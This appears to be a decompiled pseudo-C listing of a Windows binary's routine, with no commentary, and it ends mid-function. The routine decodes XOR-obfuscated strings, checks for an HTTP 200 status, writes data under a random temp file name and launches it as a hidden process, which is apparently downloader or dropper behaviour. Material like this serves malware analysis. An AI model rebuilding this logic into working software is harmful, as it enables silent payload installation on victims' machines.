E00406DC0() {
intOrPtr _v8;
char _v16;
char _v24;
signed int _v32;
short _v556;
signed int _v560;
signed int _v564;
signed int _v568;
signed int _v584;
signed int _v588;
signed int _v592;
struct _SECURITY_ATTRIBUTES* _v608;
struct _SECURITY_ATTRIBUTES* _v632;
struct _SECURITY_ATTRIBUTES* _v636;
struct _SECURITY_ATTRIBUTES* _v652;
struct _SECURITY_ATTRIBUTES* _v656;
struct _SECURITY_ATTRIBUTES* _v660;
struct _SECURITY_ATTRIBUTES* _v676;
struct _SECURITY_ATTRIBUTES* _v680;
struct _SECURITY_ATTRIBUTES* _v684;
struct _SECURITY_ATTRIBUTES* _v700;
signed int _v704;
struct _SECURITY_ATTRIBUTES* _v708;
struct _SECURITY_ATTRIBUTES* _v724;
signed int _v728;
struct _SECURITY_ATTRIBUTES* _v732;
short _v748;
signed int _v752;
signed int _v756;
char _v772;
struct _PROCESS_INFORMATION _v788;
void* _v860;
void _v916;
void* _v932;
char _v940;
void* _v948;
char _v964;
struct _STARTUPINFOW _v1036;
char _v1208;
char _v1212;
void* _v1284;
char _v1300;
char _v1316;
char _v2540;
char _v2541;
char _v2542;
signed int _v2544;
char _v2546;
signed int _v2548;
signed int _v2552;
short _v2556;
char _v2558;
struct _SECURITY_ATTRIBUTES** _v2560;
signed int _v2564;
struct _SECURITY_ATTRIBUTES* _v2568;
char _v2580;
struct _SECURITY_ATTRIBUTES* _v2584;
char _v2588;
char _v2592;
char _v2598;
short _v2600;
char _v2604;
intOrPtr _v2608;
char _v2616;
char _v2632;
intOrPtr _v2636;
char _v2660;
void* __ebx;
void* __edi;
void* __esi;
void* __ebp;
signed int _t533;
signed int _t534;
signed int _t541;
char _t542;
intOrPtr _t553;
char _t554;
char _t555;
void* _t560;
void* _t561;
signed int _t563;
char _t564;
char _t569;
short _t570;
char _t571;
void* _t576;
void* _t577;
void* _t578;
signed int _t580;
intOrPtr _t582;
signed char _t592;
intOrPtr* _t596;
struct _SECURITY_ATTRIBUTES* _t607;
char* _t611;
intOrPtr _t625;
signed int _t627;
signed int _t630;
void* _t636;
void* _t644;
intOrPtr _t647;
signed int _t652;
void* _t654;
intOrPtr _t665;
intOrPtr _t667;
struct _SECURITY_ATTRIBUTES* _t669;
struct _SECURITY_ATTRIBUTES* _t671;
intOrPtr _t674;
struct _SECURITY_ATTRIBUTES* _t677;
struct _SECURITY_ATTRIBUTES* _t685;
signed int _t689;
void* _t694;
void* _t701;
intOrPtr _t702;
struct _SECURITY_ATTRIBUTES* _t714;
intOrPtr _t717;
signed int _t720;
intOrPtr _t721;
signed int _t722;
signed int _t723;
struct _SECURITY_ATTRIBUTES* _t730;
signed int _t735;
short _t736;
void* _t737;
void* _t746;
void* _t751;
void* _t756;
intOrPtr _t762;
void* _t765;
signed int _t809;
intOrPtr* _t818;
signed int _t824;
intOrPtr* _t831;
intOrPtr _t850;
intOrPtr _t851;
char _t852;
struct _SECURITY_ATTRIBUTES* _t853;
struct _SECURITY_ATTRIBUTES* _t854;
intOrPtr _t855;
struct _SECURITY_ATTRIBUTES* _t856;
struct _SECURITY_ATTRIBUTES* _t859;
struct _SECURITY_ATTRIBUTES* _t860;
signed int _t861;
signed int _t862;
signed int _t864;
struct _SECURITY_ATTRIBUTES* _t866;
struct _SECURITY_ATTRIBUTES* _t867;
DWORD* _t868;
void* _t869;
intOrPtr* _t871;
struct _SECURITY_ATTRIBUTES* _t875;
intOrPtr* _t898;
signed int _t902;
signed int _t905;
signed int _t906;
signed int _t909;
signed int _t914;
signed int _t917;
signed int _t918;
signed int _t921;
DWORD* _t931;
signed int _t932;
struct _SECURITY_ATTRIBUTES* _t933;
signed int _t935;
void* _t938;
signed int _t941;
signed int _t944;
signed int _t945;
signed int _t952;
signed int _t953;
signed int _t954;
struct _SECURITY_ATTRIBUTES* _t955;
signed int _t956;
struct _SECURITY_ATTRIBUTES* _t957;
long* _t958;
DWORD* _t959;
void* _t960;
DWORD* _t961;
void* _t962;
void* _t963;
void* _t964;
void* _t965;
void* _t966;
signed int _t968;
void* _t970;
void* _t971;
intOrPtr* _t972;
signed int _t974;
struct _SECURITY_ATTRIBUTES** _t977;
struct _SECURITY_ATTRIBUTES* _t978;
DWORD* _t979;
signed int _t981;
signed int _t984;
signed int _t985;
signed int _t988;
signed int _t989;
signed int _t992;
signed int _t993;
signed int _t996;
signed int _t997;
signed int _t1000;
void* _t1001;
void* _t1002;
struct _SECURITY_ATTRIBUTES* _t1004;
signed char* _t1005;
struct _SECURITY_ATTRIBUTES* _t1009;
void* _t1010;
char _t1011;
void* _t1013;
signed int _t1014;
struct _SECURITY_ATTRIBUTES* _t1017;
void* _t1018;
signed int _t1020;
signed int _t1022;
void* _t1024;
WCHAR* _t1025;
void* _t1026;
void* _t1028;
struct _SECURITY_ATTRIBUTES* _t1029;
void* _t1030;
signed int _t1033;
void* _t1035;
signed int _t1038;
void* _t1039;
void* _t1040;
void* _t1041;
void* _t1042;
void* _t1043;
void* _t1044;
void* _t1045;
void* _t1046;
void* _t1047;
void* _t1048;
void* _t1049;
_t765 = _t1035;
_t1038 = (_t1035 - 0x00000008 & 0xfffffff0) + 4;
_v8 = *((intOrPtr*)(_t765 + 4));
_t1033 = _t1038;
_push(0xffffffff);
_push(0x414172);
_push( *[fs:0x0]);
_push(_t765);
_t1039 = _t1038 - 0xa48;
_t533 = *0x41b014; // 0x149e0abf
_t534 = _t533 ^ _t1033;
_v32 = _t534;
_push(_t1013);
_push(_t1002);
_push(_t534);
*[fs:0x0] = &_v24;
_v2552 = 0;
_v560 = 0;
_v16 = 0;
_v772 = 0;
_v756 = 0;
_v752 = 7;
_v772 = 0;
_v16 = 2;
if(GetTempPathW(0x104, &_v556) == 0) {
E004014B0(_t538, "Error: %d\n", 5);
_t1039 = _t1039 + 8;
L5:
_push(0x530);
_push(0);
_push( &_v2540);
L004139BD();
_t541 = *0x4159fc; // 0x209
_t1040 = _t1039 + 0xc;
_v2544 = _t541;
_t902 = 0;
_t542 = *0x4159fe; // 0x33
_v2542 = _t542;
_push(1);
_v2548 = 0;
do {
_t905 = _v2548;
*(_t1033 + _t905 - 0x9e4) = *(_t1033 + _t905 - 0x9e4) ^ _t905 - (0xa0a0a0a1 * _t902 >> 0x00000020 >> 0x00000005) * 0x00000033 + 0x00000031;
_t902 = _t905 + 1;
_v2548 = _t902;
} while (_t902 < 3);
_push( &_v2544);
_t1041 = _t1040 - 0x18;
E0040C5D0(_t765, _t1041, _t765 + 8);
E0040DB70( &_v2540, _t902);
_v16 = 3;
_t552 = *(_v1316 + 4);
if(( *(_t1033 + *(_v1316 + 4) - 0x50c) & 0x00000006) != 0) {
E004014B0(_t552, "Error: %d\n", 1);
_t1041 = _t1041 + 8;
}
asm("movq xmm0, [0x415ae0]");
_t553 = *0x415ae8; // 0x3c313709
_t1014 = *0x41e540; // 0x6
asm("movq [ebp-0xa2c], xmm0");
_v2608 = _t553;
if( *0x415aeb == 0) {
L13:
_t554 = *0x415a68; // 0x14677776
_t906 = 0;
_v2592 = _t554;
_t555 = *0x415a6c; // 0x35
_v2588 = _t555;
_v2548 = 0;
do {
_t909 = _v2548;
*(_t1033 + _t909 - 0xa14) = *(_t1033 + _t909 - 0xa14) ^ _t909 - (0xa0a0a0a1 * _t906 >> 0x00000020 >> 0x00000005) * 0x00000033 + 0x00000031;
_t906 = _t909 + 1;
_v2548 = _t906;
} while (_t906 < 5);
_t560 = E0040D930( &_v1300, &_v2592);
_t912 = >= ? *((void*)(_t765 + 0x20)) : _t765 + 0x20;
_t561 = E0040F3E0(_t560, >= ? *((void*)(_t765 + 0x20)) : _t765 + 0x20, *((intOrPtr*)(_t765 + 0x30)));
_t1042 = _t1041 + 4;
E0040D930(_t561, &_v2616);
_t563 = *0x415ad4; // 0x383c
_t914 = 0;
_v2548 = _t563;
_t564 = *0x415ad6; // 0x33
_v2546 = _t564;
_v2544 = 0;
do {
_t917 = _v2544;
*(_t1033 + _t917 - 0x9e8) = *(_t1033 + _t917 - 0x9e8) ^ _t917 - (0xa0a0a0a1 * _t914 >> 0x00000020 >> 0x00000005) * 0x00000033 + 0x00000031;
_t914 = _t917 + 1;
_v2544 = _t914;
} while (_t914 < 3);
_t569 = *0x415824; // 0x40405d79
_t918 = 0;
_v2604 = _t569;
_t570 = *0x415828; // 0x160f
_v2600 = _t570;
_t571 = *0x41582a; // 0x37
_v2598 = _t571;
_v2544 = 0;
do {
_t921 = _v2544;
*(_t1033 + _t921 - 0xa20) = *(_t1033 + _t921 - 0xa20) ^ _t921 - (0xa0a0a0a1 * _t918 >> 0x00000020 >> 0x00000005) * 0x00000033 + 0x00000031;
_t918 = _t921 + 1;
_v2544 = _t918;
} while (_t918 < 7);
_t576 = E0040D930( &_v1300, &_v2604);
_t924 = >= ? *((void*)(_t765 + 8)) : _t765 + 8;
_t577 = E0040F3E0(_t576, >= ? *((void*)(_t765 + 8)) : _t765 + 8, *(_t765 + 0x18));
_t1043 = _t1042 + 4;
_t578 = E0040D930(_t577, &_v2548);
asm("movups xmm0, [0x41572c]");
asm("movups [ebp-0xa3c], xmm0");
asm("psrldq xmm0, 0xf");
asm("movd eax, xmm0");
if(_t578 == 0) {
L25:
E0040D930( &_v1300, &_v2632);
asm("movups xmm0, [0x415aac]");
_t580 = *0x415abc; // 0x44494f24
_v2564 = _t580;
asm("movups [ebp-0xa08], xmm0");
if( *0x415abf == 0) {
L31:
E0040D930( &_v1300, &_v2580);
asm("movups xmm0, [0x415a90]");
_t582 = *0x415aa8; // 0x4c414743
_v2636 = _t582;
asm("movups [ebp-0xa58], xmm0");
asm("movq xmm0, [0x415aa0]");
asm("movq [ebp-0xa48], xmm0");
if( *0x415aab == 0) {
L37:
E0040D930( &_v1300, &_v2660);
_v652 = 0;
_v636 = 0;
_v632 = 0xf;
_v652 = 0;
_v16 = 4;
E0040F070( &_v1316, &_v652);
__imp__??5?$basic_istream@DU?$char_traits@D@std@@@std@@QAEAAV01@AAI@Z( &_v560);
_v724 = 0;
_v708 = 0;
_v704 = 0xf;
_v724 = 0;
_v16 = 5;
__imp__?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEDD@Z(0xa);
E0040F7F0( &_v1316, &_v724, *(_v1316 + 4) & 0x000000ff);
_t1044 = _t1043 + 4;
if(( *(_t1033 + *(_v1316 + 4) - 0x50c) & 0x00000006) == 0) {
L42:
_v2541 = 0;
L43:
_t592 = _v2552;
if((_t592 & 0x00000001) == 0) {
L48:
if(_v2541 != 0) {
_t592 = E004014B0(_t592, "Error: %d\n", 2);
_t1044 = _t1044 + 8;
}
if(_v560 != 0xc8) {
E004014B0(_t592, "Error: %d\n", 3);
_t1044 = _t1044 + 8;
}
_v676 = 0;
_v660 = 0;
_v656 = 0xf;
_v676 = 0;
_v16 = 6;
while(1) {
__imp__?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEDD@Z(0xa);
_t931 = &_v676;
_t596 = E0040F7F0( &_v1316, _t931, *(_v1316 + 4) & 0x000000ff);
_t1004 = _v676;
_t1044 = _t1044 + 4;
if(( *( *((intOrPtr*)( *_t596 + 4)) + _t596 + 0xc) & 0x00000006) != 0) {
break;
}
_t720 = *0x415764; // 0x323c
_v2544 = _t720;
if(_t720 == 0) {
L57:
_t972 = &_v2544;
_t869 = _t972 + 1;
do {
_t721 = *_t972;
_t972 = _t972 + 1;
} while (_t721 != 0);
_t1029 = _v660;
_t871 = >= ? _t1004 : &_v676;
if(_t1029 != _t972 - _t869) {
continue;
}
_t931 = &_v2544;
_t1030 = _t1029 - 4;
if(_t1030 < 0) {
L63:
if(_t1030 == 0xfffffffc) {
L72:
_t722 = 0;
L73:
if(_t722 != 0) {
continue;
}
break;
}
L64:
_t723 = *_t871;
if(_t723 != *_t931) {
L71:
asm("sbb eax, eax");
_t722 = _t723 | 0x00000001;
goto L73;
}
if(_t1030 == 0xfffffffd) {
goto L72;
}
_t723 = *((intOrPtr*)(_t871 + 1));
if(_t723 != _t931[0]) {
goto L71;
}
if(_t1030 == 0xfffffffe) {
goto L72;
}
_t723 = *((intOrPtr*)(_t871 + 2));
if(_t723 != _t931[0]) {
goto L71;
}
if(_t1030 == 0xffffffff) {
goto L72;
}
_t723 = *((intOrPtr*)(_t871 + 3));
if(_t723 == _t931[0]) {
goto L72;
}
goto L71;
}
while( *_t871 == *_t931) {
_t871 = _t871 + 4;
_t931 = &(_t931[1]);
_t1030 = _t1030 - 4;
if(_t1030 >= 0) {
continue;
}
goto L63;
}
goto L64;
}
_t974 = 0;
_v2560 = 0;
do {
_t977 = _v2560;
*(_t1033 + _t977 - 0x9e4) = *(_t1033 + _t977 - 0x9e4) ^ _t977 - (0xa0a0a0a1 * _t974 >> 0x00000020 >> 0x00000005) * 0x00000033 + 0x00000031;
_t974 = _t977 + 1;
_v2560 = _t974;
} while (_t974 < 2);
goto L57;
}
L004139BD();
_t1044 = _t1044 + 8;
E0040B340( &_v964, &_v964);
_v16 = 7;
__imp__??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z( &_v2540, 0, 0xb0);
E0040B260( &_v964, &_v584);
_t1014 = _v2552 | 0x00000002;
_v2552 = _t1014;
*((intOrPtr*)(_t1033 + *((intOrPtr*)(_v964 + 4)) - 0x3b8)) = 0x4159e8;
_t274 = _v964 + 4; // 0x4165b8
_t275 = *_t274 - 0x68; // 0x416550
*((intOrPtr*)(_t1033 + *_t274 - 0x3bc)) = _t275;
E0040C0C0( &_v940);
__imp__??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UAE@XZ();
__imp__??1?$basic_ios@DU?$char_traits@D@std@@@std@@UAE@XZ();
_v16 = 5;
_t607 = _v656;
if(_t607 < 0x10) {
L78:
_v16 = 4;
_t932 = _v704;
if(_t932 < 0x10) {
L82:
_v16 = 3;
_t933 = _v632;
if(_t933 < 0x10) {
L87:
__imp__??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UAE@XZ();
E0040BA30( &_v2540);
__imp__??1?$basic_ios@DU?$char_traits@D@std@@@std@@UAE@XZ();
_v16 = 8;
_t809 = _v568;
if(_v564 - _t809 < 1) {
_push(1);
_t1045 = _t1044 - 8;
_v2558 = 0;
_push(_v2558);
_push(1);
_t611 = E0040FB10(_t765, &_v584);
} else {
_t1028 = >= ? _v584 : &_v584;
_v568 = _t809 + 1;
if(_t1028 >= 0x415699 || _t1028 + _t809 < " ") {
_t1011 = 1;
} else {
if(_t1028 > " ") {
_t1011 = _t1028 - " ";
} else {
_t1011 = 0;
}
}
_push(_v568);
_push(_t1028);
_push(_t1028 + 1);
L00413999();
_push(_t1011);
_push(" ");
_push(_t1028);
L004139A5();
_push(1 - _t1011);
_t307 = _t1011 + 0x415699; // 0x41569a
_push(_t1028 + _t1011);
L004139A5();
_t1014 = _v2552;
_t611 = &_v584;
_t1045 = _t1044 + 0x24;
}
_v700 = 0;
_v684 = 0;
_v680 = 0;
asm("movups xmm0, [eax]");
_v2552 = _t1014 | 0x00000008;
asm("movups [ebp-0x2b0], xmm0");
asm("movq xmm0, [eax+0x10]");
asm("movq [ebp-0x2a0], xmm0");
*(_t611 + 0x10) = 0;
*(_t611 + 0x14) = 0xf;
*_t611 = 0;
_v16 = 0xa;
_t935 = _v564;
if(_t935 >= 0x10) {
_t864 = _v584;
_t970 = _t935 + 1;
_t702 = _t864;
if(_t970 >= 0x1000) {
_t864 = *((intOrPtr*)(_t864 - 4));
_t970 = _t970 + 0x23;
if(_t702 > 0x1f) {
__imp___invalid_parameter_noinfo_noreturn();
}
}
_push(_t970);
E00412FD5(_t702, _t864);
_t1045 = _t1045 + 8;
}
_t1017 = _v684;
_v568 = 0;
_v564 = 0xf;
_v584 = 0;
if(_v680 < 0x10) {
_t1018 = _t1017 + &_v700;
_t1005 = &_v700;
} else {
_t1005 = _v700;
_t1018 = _t1017 + _t1005;
}
_v608 = 0;
_v608 = 0;
_v592 = 0;
_v588 = 7;
E0040C480(_t765, _t1018 - _t1005);
_v2560 = &_v608;
_v16 = 0xb;
if(_t1005 == _t1018) {
L110:
_v16 = 0xd;
_v2584 = 0;
_v2568 = 0;
memcpy( &_v916, 0x415858, 0x1f << 2);
_t1046 = _t1045 + 0xc;
_v2564 = 7;
_v2584 = 0;
asm("movsw");
_t1020 = 0;
_v560 = _v2552 | 0x00000010;
if( *0x41e540 < 2) {
do {
L114:
*(_t1033 + _t1020 * 2 - 0x388) = *(_t1033 + _t1020 * 2 - 0x388) ^ _t1020 - (0xa0a0a0a1 * _t1020 >> 0x00000020 >> 0x00000005) * 0x00000033 + 0x00000031;
_t1020 = _t1020 + 1;
} while (_t1020 < 0x3f);
L115:
_v584 = 0;
_t818 = &_v916;
_v568 = 0;
_v564 = 7;
_t938 = _t818 + 2;
_v584 = 0;
do {
_t625 = *_t818;
_t818 = _t818 + 2;
} while (_t625 != 0);
_t627 = E0040D040(_t765, &_v584, 0x415896, _t1020, &_v916, _t818 - _t938 >> 1);
_v16 = 0xe;
__imp___time64(0);
__imp___getpid();
srand(_t627 * _t627);
_t1047 = _t1046 + 8;
E0040C480(_t765, 0xf);
_t1009 = 0xf;
_t1022 = _v584;
_v2541 = _v564 - 8 >= 0;
do {
_t630 = rand();
_t824 = _v2568;
_t633 = != ? _t1022 : &_v584;
_t941 = *(( != ? _t1022 : &_v584) + _t630 % 0x17 * 2) & 0x0000ffff;
if(_t824 >= _v2564) {
_push(_t941);
_v2558 = 0;
_push(_v2558);
_push(_t824);
E0040E150(_t765, &_v2584, _t1009);
} else {
_t397 = _t824 + 1; // 0x1
_v2568 = _t397;
_t694 = >= ? _v2584 : &_v2584;
*(_t694 + _t824 * 2) = _t941;
*((short*)(_t694 + 2 + _t824 * 2)) = 0;
}
_t1022 = _v584;
_t1009 = _t1009 - 1;
} while (_t1009 != 0);
_v16 = 0xd;
if(_v2541 == 0) {
L126:
_t636 = E0040DD50( &_v724, &_v772, &_v2584);
_v16 = 0xf;
E0040DE70( &_v748, _t636);
_t1047 = _t1047 + 4;
_v16 = 0x11;
_t944 = _v704;
if(_t944 < 8) {
L130:
_v708 = 0;
_v704 = 7;
_v724 = 0;
_v16 = 0x12;
_t945 = _v2564;
if(_t945 < 8) {
L135:
_v2568 = 0;
_v2584 = 0;
_v2564 = 7;
L004139BD();
_t642 = >= ? _v748 : &_v748;
E0040B070( &_v1212, _t945, >= ? _v748 : &_v748);
_v16 = 0x13;
__imp__?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z(0x41b030, 0x2000, 0, &_v1212, 0, 0xb0);
_t644 = E0040C9A0( &_v1208);
if(_t644 == 0) {
__imp__?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z(2, _t644);
}
_push(0x44);
_push(0);
_push( &_v1036);
L004139BD();
_v1036.cb = 0x44;
_t1048 = _t1047 + 0xc;
_v584 = 0;
asm("xorps xmm0, xmm0");
_v1036.wShowWindow = 0;
_t947 = >= ? _v608 : &_v608;
_t831 = >= ? _v608 : &_v608;
_v568 = 0;
asm("movups [ebp-0x308], xmm0");
_v564 = 7;
_v584 = 0;
_t460 = _t831 + 2; // 0x2
_t1024 = _t460;
do {
_t647 = *_t831;
_t831 = _t831 + 2;
_t1164 = _t647;
} while (_t647 != 0);
E0040D040(_t765, &_v584, _t1009, _t1024, _t947, _t831 - _t1024 >> 1);
_v16 = 0x14;
_t652 = E00412FE3((_v568 + 1) * 2, _t765, _t1009, _t1024, ~(0 | _t1164 > 0x00000000) | (_v568 + 0x00000001) * 0x00000002);
_t951 = >= ? _v584 : &_v584;
_v560 = _t652;
_t654 = >= ? _v584 : &_v584;
_t1025 = _v560;
_push(( >= ? _v584 : &_v584) + _v568 * 2 - _t654);
_push(_t654);
_push(_t1025);
L00413999();
_t1049 = _t1048 + 0x10;
_t1025[_v568] = 0;
_t657 = >= ? _v748 : &_v748;
CreateProcessW( >= ? _v748 : &_v748, _t1025, 0, 0, 0, 0x8000000, 0, 0, &_v1036, &_v788);
_t952 = _v564;
if(_t952 >= 8) {
_t856 = _v584;
_t964 = 2 + _t952 * 2;
_t677 = _t856;
if(_t964 >= 0x1000) {
_t856 = *(_t856 - 4);
_t964 = _t964 + 0x23;
if(_t677 > 0x1f) {
__imp___invalid_parameter_noinfo_noreturn();
}
}
_push(_t964);
E00412FD5(_t677, _t856);
_t1049 = _t1049 + 8;
}
E00406D00( &_v1212);
_t953 = _v728;
if(_t953 < 8) {
L148:
_t954 = _v588;
_v732 = 0;
_v728 = 7;
_v748 = 0;
if(_t954 < 8) {
L152:
_t955 = _v680;
_t661 = 0;
_v592 = 0;
_v588 = 7;
_v608 = 0;
if(_t955 < 0x10) {
L156:
_t956 = _v752;
_v684 = 0;
_v680 = 0xf;
_v700 = 0;
if(_t956 < 8) {
L160:
_t957 = *(_t765 + 0x1c);
if(_t957 < 0x10) {
L164:
_t958 = *(_t765 + 0x34);
*(_t765 + 0x18) = 0;
*(_t765 + 0x1c) = 0xf;
*((char*)(_t765 + 8)) = 0;
if(_t958 < 0x10) {
goto L169;
}
_t850 = *((intOrPtr*)(_t765 + 0x20));
_t958 = &(_t958[0]);
_t663 = _t850;
if(_t958 < 0x1000) {
goto L168;
}
_t850 = *((intOrPtr*)(_t850 - 4));
_t958 = &(_t958[8]);
if(_t663 <= 0x1f) {
goto L168;
}
goto L167;
}
_t851 = *((intOrPtr*)(_t765 + 8));
_t959 = &(_t957->nLength);
_t665 = _t851;
if(_t959 < 0x1000) {
L163:
_push(_t959);
_t661 = E00412FD5(_t665, _t851);
_t1049 = _t1049 + 8;
goto L164;
}
_t850 = *((intOrPtr*)(_t851 - 4));
_t958 = &(_t959[8]);
_t663 = _t665 - _t850 + 0xfffffffc;
if(_t665 - _t850 + 0xfffffffc > 0x1f) {
goto L167;
}
goto L163;
}
_t852 = _v772;
_t960 = 2 + _t956 * 2;
_t667 = _t852;
if(_t960 < 0x1000) {
L159:
_push(_t960);
_t661 = E00412FD5(_t667, _t852);
_t1049 = _t1049 + 8;
goto L160;
}
_t850 = *((intOrPtr*)(_t852 - 4));
_t958 = _t960 + 0x23;
_t663 = _t667 - _t850 + 0xfffffffc;
if(_t667 - _t850 + 0xfffffffc > 0x1f) {
goto L167;
}
goto L159;
}
_t853 = _v700;
_t961 = &(_t955->nLength);
_t669 = _t853;
if(_t961 < 0x1000) {
L155:
_push(_t961);
_t661 = E00412FD5(_t669, _t853);
_t1049 = _t1049 + 8;
goto L156;
}
_t850 = *((intOrPtr*)(_t853 - 4));
_t958 = _t961 + 0x23;
_t663 = _t669 - _t850 + 0xfffffffc;
if(_t669 - _t850 + 0xfffffffc > 0x1f) {
goto L167;
}
goto L155;
}
_t854 = _v608;
_t962 = 2 + _t954 * 2;
_t671 = _t854;
if(_t962 < 0x1000) {
L151:
_push(_t962);
E00412FD5(_t671, _t854);
_t1049 = _t1049 + 8;
goto L152;
}
_t850 = *((intOrPtr*)(_t854 - 4));
_t958 = _t962 + 0x23;
_t663 = _t671 - _t850 + 0xfffffffc;
if(_t671 - _t850 + 0xfffffffc > 0x1f) {
goto L167;
}
goto L151;
} else {
_t855 = _v748;
_t963 = 2 + _t953 * 2;
_t674 = _t855;
if(_t963 < 0x1000) {
L147:
_push(_t963);
E00412FD5(_t674, _t855);
_t1049 = _t1049 + 8;
goto L148;
}
_t850 = *((intOrPtr*)(_t855 - 4));
_t958 = _t963 + 0x23;
_t663 = _t674 - _t850 + 0xfffffffc;
if(_t674 - _t850 + 0xfffffffc > 0x1f) {
L167:
__imp___invalid_parameter_noinfo_noreturn();
L168:
_push(_t958);
_t661 = E00412FD5(_t663, _t850);
L169:
*[fs:0x0] = _v24;
_pop(_t1010);
_pop(_t1026);
return E00412A1E(_t661, _t765, _v32 ^ _t1033, _t958, _t1010, _t1026);
}
goto L147;
}
}
_t859 = _v2584;
_t945 = 2 + _t945 * 2;
_t682 = _t859;
if(_t945 < 0x1000) {
L134:
_push(_t945);
E00412FD5(_t682, _t859);
_t1047 = _t1047 + 8;
goto L135;
}
_t859 = *(_t859 - 4);
_t945 = _t945 + 0x23;
if(_t682 <= 0x1f) {
goto L134;
}
L133:
__imp___invalid_parameter_noinfo_noreturn();
goto L134;
}
_t860 = _v724;
_t965 = 2 + _t944 * 2;
_t685 = _t860;
if(_t965 < 0x1000) {
L129:
_push(_t965);
E00412FD5(_t685, _t860);
_t1047 = _t1047 + 8;
goto L130;
}
_t859 = *(_t860 - 4);
_t945 = _t965 + 0x23;
_t682 = _t685 - _t859 + 0xfffffffc;
if(_t685 - _t859 + 0xfffffffc > 0x1f) {
goto L133;
}
goto L129;
}
_t861 = _t1022;
_t966 = 2 + _v564 * 2;
_t689 = _t861;
if(_t966 < 0x1000) {
L125:
_push(_t966);
E00412FD5(_t689, _t861);
_t1047 = _t1047 + 8;
goto L126;
}
_t859 = *(_t861 - 4);
_t945 = _t966 + 0x23;
_t682 = _t689 - _t859 + 0xfffffffc;
if(_t689 - _t859 + 0xfffffffc > 0x1f) {
goto L133;
}
goto L125;
}
asm("movaps xmm4, [0x415af0]");
asm("movaps xmm3, [0x415b60]");
asm("movaps xmm5, [0x415b20]");
asm("movaps xmm7, [0x415b30]");
asm("movd xmm6, eax");
do {
asm("movd xmm0, esi");
asm("pshufd xmm2, xmm0, 0x0");
asm("paddd xmm2, xmm4");
asm("movaps xmm1, xmm2");
asm("movaps xmm0, xmm2");
asm("punpckldq xmm1, xmm2");
asm("punpckhdq xmm0, xmm2");
asm("pmuludq xmm1, xmm3");
asm("pmuludq xmm0, xmm3");
asm("shufps xmm1, xmm0, 0xdd");
asm("psrld xmm1, xmm6");
asm("pmulld xmm1, xmm5");
asm("psubd xmm2, xmm1");
asm("pshuflw xmm0, xmm2, 0xd8");
asm("pshufhw xmm0, xmm0, 0xd8");
asm("pshufd xmm1, xmm0, 0xd8");
asm("movq xmm0, xmm7");
asm("paddw xmm1, xmm0");
asm("movq xmm0, [ebp+esi*2-0x388]");
asm("pxor xmm1, xmm0");
asm("movd xmm0, eax");
asm("movq [ebp+esi*2-0x388], xmm1");
asm("pshufd xmm2, xmm0, 0x0");
asm("paddd xmm2, xmm4");
asm("movaps xmm1, xmm2");
asm("movaps xmm0, xmm2");
asm("punpckldq xmm1, xmm2");
asm("punpckhdq xmm0, xmm2");
asm("pmuludq xmm1, xmm3");
asm("pmuludq xmm0, xmm3");
asm("shufps xmm1, xmm0, 0xdd");
asm("psrld xmm1, xmm6");
asm("pmulld xmm1, xmm5");
asm("psubd xmm2, xmm1");
asm("pshuflw xmm0, xmm2, 0xd8");
asm("pshufhw xmm0, xmm0, 0xd8");
asm("pshufd xmm1, xmm0, 0xd8");
asm("movq xmm0, xmm7");
asm("paddw xmm1, xmm0");
asm("movq xmm0, [ebp+esi*2-0x380]");
asm("pxor xmm1, xmm0");
asm("movq [ebp+esi*2-0x380], xmm1");
_t1020 = _t1020 + 8;
} while (_t1020 < 0x38);
if(_t1020 >= 0x3f) {
goto L115;
}
goto L114;
} else {
do {
_t862 = _v592;
_t968 = *_t1005 & 0x0000ffff;
if(_t862 >= _v588) {
_push(_t968);
_v560 = 0;
_push(_v560);
_push(_t862);
E0040E150(_t765, &_v608, _t1005);
} else {
_t342 = _t862 + 1; // 0x8
_v592 = _t342;
_t701 = >= ? _v608 : &_v608;
*(_t701 + _t862 * 2) = _t968;
*((short*)(_t701 + 2 + _t862 * 2)) = 0;
}
_t1005 = &(_t1005[1]);
} while (_t1005 != _t1018);
goto L110;
}
}
_t866 = _v652;
_t931 = &(_t933->nLength);
_t711 = _t866;
if(_t931 < 0x1000) {
L86:
_push(_t931);
E00412FD5(_t711, _t866);
_t1044 = _t1044 + 8;
goto L87;
}
_t866 = *((intOrPtr*)(_t866 - 4));
_t931 = &(_t931[8]);
if(_t711 <= 0x1f) {
goto L86;
}
L85:
__imp___invalid_parameter_noinfo_noreturn();
goto L86;
}
_t867 = _v724;
_t971 = _t932 + 1;
_t714 = _t867;
if(_t971 < 0x1000) {
L81:
_push(_t971);
E00412FD5(_t714, _t867);
_t1044 = _t1044 + 8;
goto L82;
}
_t866 = *((intOrPtr*)(_t867 - 4));
_t931 = _t971 + 0x23;
_t711 = _t714 - _t866 + 0xfffffffc;
if(_t714 - _t866 + 0xfffffffc > 0x1f) {
goto L85;
}
goto L81;
}
_t283 = &(_t607->nLength); // 0x10
_t868 = _t283;
_t717 = _t1004;
if(_t868 < 0x1000) {
L77:
_push(_t868);
E00412FD5(_t717, _t1004);
_t1044 = _t1044 + 8;
goto L78;
}
_t1004 = *((intOrPtr*)(_t1004 - 4));
_t866 = _t868 + 0x23;
_t711 = _t717 - _t1004 + 0xfffffffc;
if(_t717 - _t1004 + 0xfffffffc > 0x1f) {
goto L85;
}
goto L77;
}
_t978 = _v656;
_v2552 = _t592;
if(_t978 < 0x10) {
goto L48;
}
_t875 = _v676;
_t979 = &(_t978->nLength);
_t730 = _t875;
if(_t979 < 0x1000) {
L47:
_push(_t979);
_t592 = E00412FD5(_t730, _t875);
_t1044 = _t1044 + 8;
goto L48;
}
_t866 = *((intOrPtr*)(_t875 - 4));
_t931 = _t979 + 0x23;
_t711 = _t730 - _t866 + 0xfffffffc;
if(_t730 - _t866 + 0xfffffffc > 0x1f) {
goto L85;
}
goto L47;
}
_v676 = 0;
_v660 = 0;
_t877 = < ? _v636 : 5;
_push( < ? _v636 : 5);
_t733 = >= ? _v652 : &_v652;
_v656 = 0xf;
E0040D1A0(_t765, &_v676, 5, _t1014, >= ? _v652 : &_v652);
_t735 = *0x4157cc; // 0x64676679
_v2560 = _t735;
_t736 = *0x4157d0; // 0x361a
_v2552 = 5;
